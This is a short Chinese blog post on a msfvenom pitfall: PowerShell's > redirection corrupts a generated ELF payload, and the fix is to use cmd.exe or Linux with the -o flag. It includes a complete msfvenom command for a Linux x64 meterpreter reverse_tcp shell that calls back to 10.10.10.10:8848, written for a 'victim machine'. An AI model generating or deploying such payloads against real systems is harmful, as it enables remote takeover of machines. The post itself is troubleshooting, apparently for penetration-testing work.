Featured image of post 1207 Msfvenom踩坑

1207 Msfvenom踩坑

问题

在Jiaosu powershell下生成的payload文件传递给受害机后发现始终无法联通,查看payload文件发现为data类型(file payload)

原因

来自豆包

msfvenom 生成 ELF 文件却识别为 data、无法执行的核心原因,是 Windows PowerShell 重定向输出时的编码 / 格式污染 (而非文件完整性 / 架构问题)——PowerShell 的 > 重定向默认会以「文本模式」处理输出,破坏 ELF 二进制文件的原始字节结构,导致文件变成无效的 data 格式。

一、根本原因:PowerShell 文本重定向污染二进制文件

Linux 的 ELF 是纯二进制格式,而 Windows PowerShell 的 > 本质是 Out-File 命令,默认:

  1. 采用 Unicode/UTF-16 编码(而非二进制);
  2. 会自动转换换行符(\n\r\n)、添加 BOM 头;
  3. 截断 / 修改非文本字节,直接破坏 ELF 文件的魔数(0x7f 45 4c 46)和结构。 即便 SHA 值 “一致”,也可能是你在 Windows 本地校验的是被污染后的文件,而非传输到 Linux 后的版本。

解决办法

直接在 Linux 环境生成(推荐,无格式问题)

Windows 下用 cmd.exe 替代 PowerShell 生成

# 打开cmd.exe(非PowerShell),执行以下命令
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=8848 -f elf -o shell_x64.elf

⚠️ 注意:必须用 -o 参数(指定输出文件),而非 > 重定向 ——msfvenom-o 本身就是二进制写入,比重定向更可靠。

使用 Hugo 构建
主题 StackJimmy 设计